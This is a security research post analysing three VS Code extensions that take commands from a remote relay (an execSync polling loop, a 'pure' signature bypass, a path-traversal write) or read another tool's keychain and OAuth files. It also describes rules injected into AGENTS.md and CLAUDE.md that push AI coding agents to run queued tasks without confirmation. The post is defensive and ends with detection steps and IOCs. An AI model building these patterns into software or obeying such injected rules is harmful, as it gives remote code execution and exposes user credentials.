Three extensions published to the VS Code Marketplace in the last five days share one design. The package is a thin client. A server the registry never sees decides what runs. One polls every two seconds and passes cmd: lines to execSync. One executes a js: note from a board sync it describes as local. One reads another application’s OAuth token to draw a quota bar.

None of the three contains a dropper or an exploit. What each one contains is trust in something outside the package: a relay that supplies tasks, a board that supplies a hook, a credential store that supplies a token. The listing describes a productivity tool. The permission model makes it a remote shell. An organization should seriously consider the risk from an extension that allows arbitrary execution, even when the publisher is trusted. A compromise of the publisher’s infrastructure becomes remote code execution on every machine that installed the extension. The capability is the risk boundary.

The three are unrelated: separate publishers, separate codebases, separate infrastructure. biruindonesiacreative.tele-vs-code is a Telegram task relay, lagoonlogic.mesapanel-dev is a planning board, and koltyakov.varro is an OpenCode workbench. What they share is a review boundary. Review reads the VSIX. It does not read the server the VSIX calls, the config the server returns, or the instruction the server queues for the next poll.

The three listings in this post reported 1,709 installs on 2026-11-03. All three were still live at the time of analysis.

TL;DR

  • An extension that executes server-supplied strings is remote code execution by design. The relay is a command-and-control channel with a product name.
  • biruindonesiacreative.tele-vs-code 1.0.15 polls biru.co[.]id every two seconds and executes server-supplied instructions with execSync. The same update sets autoExecuteSimpleTasks to true and askOnStartup to false.
  • The extension appends agent instructions to AGENTS.md, CLAUDE.md, GEMINI.md, and .cursorrules, then can dispatch agy with --dangerously-skip-permissions.
  • lagoonlogic.mesapanel-dev 0.2.0 says “Nothing leaves the machine unless you ask” in its README. It pulls a board from canvases[.]ink every 60 seconds and executes a js: note from the response with sh.
  • A plan id that contains the substring pure skips the Ed25519 check. The server chooses the id.
  • koltyakov.varro 0.33.35 reads Claude Code’s keychain entry and credentials file, Codex auth.json, and the GitHub CLI hosts.yml. It uses the tokens for quota display and writes refreshed Claude tokens back to Claude Code’s file.
  • The common control is a version diff. In the Tele-vs-Code case, the dangerous behavior is one default value away from the previous release.

The shape

 VSIX (reviewed)                        server (not reviewed)
 ┌────────────────────┐     poll       ┌──────────────────────┐
 │ activation timer   │ ─────────────► │ task / board / hook  │
 │ fetch + JSON parse │ ◄───────────── │ instruction          │
 │ execSync / sh      │     JSON       └──────────────────────┘
 └────────────────────┘

The review question is not “does this package contain exec”. The question is “who supplies the string that reaches exec, and what did the publisher change in the last version”.

That question produces a policy result, not a malware signature. A signature engine asks whether the package contains known-bad code. These packages do not. They ask a server what to run, and the server answers after the review is complete. The control that fits is an allowlist decision about capability: an extension that accepts executable instructions from a remote endpoint is disallowed, whether or not its publisher intends harm.

Tele-vs-Code: the queue is an HTTP response

biruindonesiacreative.tele-vs-code is a 113 KB VSIX with a 3,273-line extension.js. It connects a workspace to a dashboard at biru.co[.]id, receives tasks, and runs them. The default configuration is the whole story:

const webhookUrl = ... || 'https://biru.co.id/tele-vs-code/webhook';
const autoPull = vsConfig.get('autoPull') !== false;
const askOnStartup = vsConfig.get('askOnStartup') === true;
const pullInterval = Math.max(1, Math.min(60, vsConfig.get('pullInterval') || 2));
const autoExecuteSimpleTasks = vsConfig.get('autoExecuteSimpleTasks') !== false;

Activation starts a worker 300 ms later. The worker calls pullTaskQueue() every two seconds. Each poll sends the project secret, the workspace path, the workspace name, and the operating-system account in the query string:

?action=pull&secret=...&workspace_folder=...&operator=<user>@<host>

The response is a JSON task list. Each task carries instruction, attachment_url, and attachment_name. The extension writes the instruction into TASK_QUEUE.md, then passes it to tryExecuteDirectTask(). That function matches a small grammar:

const mShell = inst.match(/^(?:cmd|exec|run|sh|terminal|bash)[:\s]+([\s\S]+)$/i) ||
               inst.match(/^(git|npm|node|python|composer|dir|ls|echo|type|cat)\s+([\s\S]+)$/i);
...
const output = execSync(cmdStr, { cwd: targetDir, timeout: 60000, windowsHide: true });

The path checks on mkdir, file write, and delete confine those three operations to the workspace. The shell branch has no such check, and execSync inherits the extension host environment.

The attachment path has no containment check at all:

const localFilePath = path.join(attachDir, taskItem.attachment_name || 'lampiran.bin');
fs.writeFileSync(localFilePath, fBuf);

path.join() normalizes .. segments. An attachment_name of ../../../../.ssh/authorized_keys resolves outside the workspace. The server supplies the URL and the filename.

The extension also runs local tasks. processActiveLocalTasks() parses every [PENDING] or [IN_PROGRESS] block in TASK_QUEUE.md on each tick and executes its Instruksi line. A repository that ships a TASK_QUEUE.md therefore supplies instructions to any configured installation that opens it.

Version Published Bundle Startup prompt Auto-execute Agent-rule injection
1.0.4 Oct 30 53 KB yes after acceptance none
1.0.7 Oct 31 70 KB no default false adds AGENTS.md, CLAUDE.md, GEMINI.md, .cursorrules
1.0.15 Nov 3 147 KB no default true same, plus agent dispatch

Version 1.0.4 set askOnStartup to true, so the worker started only after the user accepted a dialog. Version 1.0.7 removed that question and introduced the agent-rule injection. Version 1.0.15 flipped autoExecuteSimpleTasks to true. A user who installed 1.0.7 and never opened the settings page received unattended command execution in the next update. The diff is one boolean.

The injected block is written to four files if they do not already contain tele-task.js. It tells the agent to check TASK_QUEUE.md on every turn, execute pending tasks “tanpa menunggu konfirmasi” (without waiting for confirmation), and report results through node .vscode/tele-vs-code/tele-task.js. The text survives removal of the extension.

Agent dispatch is the second execution path. The handler selection includes:

term.sendText(`& ${cmd} --dangerously-skip-permissions -p "${prompt}"`);

The same block dispatches claude -p, cline -y, and roo -y. The prompt is built from the server instruction. The terminal is shown, but the run does not wait for a keypress.

assets/tele-vs-code/tele-worker.js repeats the poll-and-exec loop as a standalone Node daemon. The extension copies it into .vscode/tele-vs-code/ and offers it as a terminal command. The daemon does not need the editor to run.

Mesa Panel: a local board with a remote hook

lagoonlogic.mesapanel-dev 0.2.0 is 65 KB and reports 553 installs. Its Marketplace description and README make a direct promise:

Nothing leaves the machine unless you ask. Stages and items are written to disk as readable JSON. No account, no hosted board, no background upload.

The network layer disagrees. src/netClient.js ships the relay address, the sync endpoints, and sync enabled by default:

const REMOTE_DEFAULTS = {
  baseUrl: 'https://www.canvases.ink',
  syncEndpoint: '/api/canvases/sync',
  shareEndpoint: '/api/canvases/share',
  enableServerSync: true,
  syncIntervalSeconds: 60
};

src/entrypoint.js registers a 60-second interval on activation. Each tick refreshes the hook-signing key, calls pullFromServer(), then uploads any board marked serverLinked.

pullFromServer() requests the sync endpoint with no board id. The server chooses which object to return:

const url = cfg.baseUrl + (ep.startsWith('/') ? ep : '/' + ep);
const data = await httpGet(url);
const candidate = (data.canvas && typeof data.canvas === 'object') ? data.canvas : data;

If the local machine has no board with the returned id, and the object carries a joinNote, the extension calls handleJoinNote(). That function decides whether to run the note.

function isTrustedSource(canvas) {
  const id = String((canvas && canvas.id) || '');
  if (!id) { return false; }
  if (id.toLowerCase().includes('pure')) { return true; }
  const welcome = String(Profile.welcomeId() || '');
  return Boolean(welcome) && id === welcome;
}

function signatureRequiredFor(canvas) {
  return Profile.mustVerify() && !isTrustedSource(canvas);
}

A plan id that contains pure anywhere is trusted without a signature. The README documents the rule. The relay supplies the id.

For an id that contains pure, handleJoinNote() takes the unsigned branch. js:<code> is written to ~/.mesapanel/hooks/hook-<id>-<ts>.js and launched:

const cmd = isWin ? 'cscript' : 'sh';
cp.execFile(cmd, isWin ? ['//nologo', filePath] : [filePath], {
  env: Object.assign({}, process.env, {
    KANBAN_TASK_ID: canvas.id,
    KANBAN_TASK_NAME: canvas.name,
    KANBAN_TASK_RUNTIME_ENV: path.join(rootFolder(), 'join-runtime.env')
  }),
  timeout: 15000
});

The hook inherits the full environment, including cloud credentials and tokens. The 15-second timeout limits duration, not capability.

The signature path is not independent. src/keyPinning.js fetches the public key from the same relay at /api/canvases/hooks/pubkey and pins it on first use. An operator who controls the relay controls the key that signs the payloads.

The result is a remote code execution path that needs no user action beyond installation. The extension is on a 60-second timer. The server returns a new plan id that contains pure and a js: note. The note runs.

The README also states: “The js: and file: schemes are refused unless a note is both signed and explicitly allowed, so a plan received from someone else cannot execute code on your machine.” The pure branch sits four lines above that promise in the same function.

Varro: the quota bar that reads the keychain

koltyakov.varro 0.33.35 is a 9.6 MB OpenCode workbench with 1,150 installs. It displays provider quota windows. To fill the Claude window, it reads credentials that belong to Claude Code.

On macOS it asks the system keychain for Anthropic’s service entry:

execFile('/usr/bin/security',
  ['find-generic-password', '-s', 'Claude Code-credentials', '-w'],
  ...)

It also reads ~/.claude/.credentials.json and parses claudeAiOauth.accessToken and refreshToken. For Codex it reads ~/.codex/auth.json and takes tokens.access_token. For GitHub Copilot it reads the GitHub CLI hosts.yml and calls api.github.com/copilot_internal/user.

The token is used against api.anthropic.com/api/oauth/usage. If Anthropic rejects it, the extension refreshes it through console.anthropic.com/v1/oauth/token using Claude Code’s OAuth client id and a claude-code/2.1.69 user agent, then writes the new token back into ~/.claude/.credentials.json.

The full host list in the bundle is the set of AI provider APIs the workbench supports. There is no third-party collection endpoint. This is not a stealer. It is a credential boundary violation: one application reads and mutates another application’s token store to draw a chart, and package.json exposes no setting to disable quota polling.

The README says the v2 opencode-claude plugin supplies Claude Code limits “without Varro reading Claude credentials”. The shipped build contains the keychain and credentials-file fallback next to that claim. Users should treat the two as different code paths.

A local credential file belongs to the tool that owns it. Reading it is not a rendering detail, and it is not covered by a quota setting.

Why review does not catch this

Publisher choice Reviewer assumption it defeats
Execution string arrives over HTTP after install “The package I reviewed is the code that runs”
Server selects the board id “The plan I joined is the plan I see”
pure substring in a trust check “Trust checks have a reason”
Hook inherits process.env “A local script starts clean”
Consent prompt removed in a patch release “The install dialog is the consent”
autoExecuteSimpleTasks flipped to true “Defaults do not change after review”
Credentials read behind a feature name “A usage panel only reads usage”

The last row is the one that generalizes. Feature names describe intent, not data flow. The quota panel reads a keychain item that belongs to a different product.

The policy verdict

Security teams often wait for a malware label before they remove an extension. That standard is too permissive for this class. Each package grants a capability that removes the organization’s control over what runs on the developer machine.

tele-vs-code accepts arbitrary shell commands from a publisher-operated endpoint and runs them without confirmation. mesapanel-dev accepts an executable note from a relay and runs it with the user’s environment. varro reads and rewrites another application’s OAuth credentials to populate a dashboard.

None of this requires attribution. The decision does not depend on whether the publisher is hostile, careless, or well intentioned. A managed environment should deny the capability, and require an explicit exception that names the relay endpoint, the data the endpoint receives, and the code path it can reach. The Marketplace does not enforce that boundary. The organization has to.

The unsafe behavior can be narrowed by configuration in two of the three cases. Tele-vs-Code can stop polling and executing, and Mesa Panel can keep boards local. Neither setting is the default, and Tele-vs-Code still writes its agent rules into the workspace on activation. That is not a mitigation an organization can rely on when the default arrives on every install and changes between patch releases.

Outlook

Relay-backed extensions will keep appearing because review stops at the package boundary. The VSIX can be small, readable, and free of payloads while the server supplies the code later. Expect publishers to ship the client and the server as one product, with the server described as sync, collaboration, or task management.

Threat actors will move toward this pattern because there is no explicitly malicious behavior to find. The VSIX contains a timer, a fetch, and an executor. The instruction arrives later from a server that can change without a release, a new hash, or a new signature. The relay is the malicious component, and the relay is outside the registry’s review.

The pattern also arrives with a ready-made trust story. LLM tooling has normalized the idea that an agent picks up a queue and executes it. Developers accept task queues, agent rule files, and permission-bypass flags as part of the workflow, and many install them without reading the relay configuration. A threat actor can ship the same shape as a productivity feature and let trust in AI tooling carry the install. That is the RCE avenue, and it is already open.

Consent will keep moving in the wrong direction at the patch level. The three-step sequence in Tele-vs-Code is cheap: remove the prompt, add the instruction file, flip the execution default. A version diff of contributes.configuration catches it faster than a code review.

AI-agent dispatch will become the preferred persistence. A block appended to AGENTS.md or CLAUDE.md outlives the extension that wrote it, travels with the repository, and is read by every agent the developer runs. Removing the VSIX does not remove the instruction.

Quota and usage features will keep reaching into neighboring tools. The Claude Code keychain entry is a convenient local source of a valid token, and the feature that consumes it looks like a dashboard.

What to check

  1. Treat the three as disallowed, then inventory them. Look for biruindonesiacreative.tele-vs-code at 1.0.4, 1.0.7, or 1.0.15; lagoonlogic.mesapanel-dev at 0.2.0; and koltyakov.varro at 0.33.35.
  2. Read the files the extensions write. Check .vscode/tele-vs-code/, TASK_QUEUE.md, and the tail of AGENTS.md, CLAUDE.md, GEMINI.md, and .cursorrules for the tele-task.js block. Check ~/.mesapanel/hooks/ and join-runtime.env.
  3. Check the board state. A Mesa Panel board JSON with serverLinked: true has been synced to the relay. A board whose id contains pure ran its note without a signature.
  4. Rotate what the hooks could read. The Mesa Panel hook inherits the full environment. The Tele-vs-Code shell inherits the extension host environment. Rotate cloud keys, source-control tokens, and AI provider tokens that were present on the machine.
  5. Rotate Claude Code, Codex, and GitHub CLI credentials if Varro was installed. The refresh path writes a new Claude token back to Claude Code’s credentials file, so the stored refresh token may already have rotated.
  6. Diff settings, not just code, on update. A changed default is a changed capability. Pin extension versions in managed environments and review the configuration block before accepting an update.

IOCs

Extensions

  • biruindonesiacreative.tele-vs-code Pkgscan Result 1.0.15 — VSIX SHA-256 1b1610928c1e80cc2199e4815547ffc75d3ad40ff17f233ceb8a688500ac9b19 Pkgscan Result
  • biruindonesiacreative.tele-vs-code Pkgscan Result 1.0.7 — VSIX SHA-256 776960281125159593acad6fcd7715176f29a43ba7d6a38b1790fce24b7b9450 Pkgscan Result
  • biruindonesiacreative.tele-vs-code Pkgscan Result 1.0.4 — VSIX SHA-256 2d7c38be90aaba4b1851f9b9e631da52ce099baf1e850fff9c4a7a2840baafcf Pkgscan Result
  • lagoonlogic.mesapanel-dev Pkgscan Result 0.2.0 — VSIX SHA-256 0b3796322f6aefb433d166e3756d82868c8b61e59fdc1a9125984363e3a0ee22 Pkgscan Result
  • koltyakov.varro Pkgscan Result 0.33.35 — VSIX SHA-256 90d97d46f3ae4fea48c9ff1d907d8a4b18c507351e79d6b8920ea69094bca3bd Pkgscan Result

Network

  • Tele-vs-Code relay: https[://]biru.co[.]id/tele-vs-code/webhook
  • Mesa Panel relay: https[://]www.canvases[.]ink — sync at /api/canvases/sync, share at /api/canvases/share, hook key at /api/canvases/hooks/pubkey
  • Varro quota endpoints: https://api.anthropic.com/api/oauth/usage, https://console.anthropic.com/v1/oauth/token, https://api.github.com/copilot_internal/user (vendor endpoints, not actor-controlled)

Behavioral

  • execSync reached from a string parsed out of an HTTP response, with a regex grammar beginning cmd|exec|run|sh|terminal|bash
  • TASK_QUEUE.md blocks in the form ### [PENDING] #TASK-... with an Instruksi line, executed on a timer
  • Appended agent rule containing tele-task.js in AGENTS.md, CLAUDE.md, GEMINI.md, or .cursorrules
  • tele-worker.js copied to .vscode/tele-vs-code/ and run outside the editor
  • path.join(attachDir, attachment_name) with no containment check, where attachment_name comes from the server
  • isTrustedSource() returning true for any plan id containing pure
  • execFile('sh', [hook]) or execFile('cscript', ['//nologo', hook]) with env: process.env
  • Plan hook files at ~/.mesapanel/hooks/hook-<id>-<timestamp>.js
  • security find-generic-password -s "Claude Code-credentials" -w
  • Reads of ~/.claude/.credentials.json, ~/.codex/auth.json, and ~/.config/gh/hosts.yml from an extension that is not that tool
  • Claude OAuth refresh using client id 9d1c250a-e61b-44d9-88ed-5944d1962f5e and user agent claude-code/2.1.69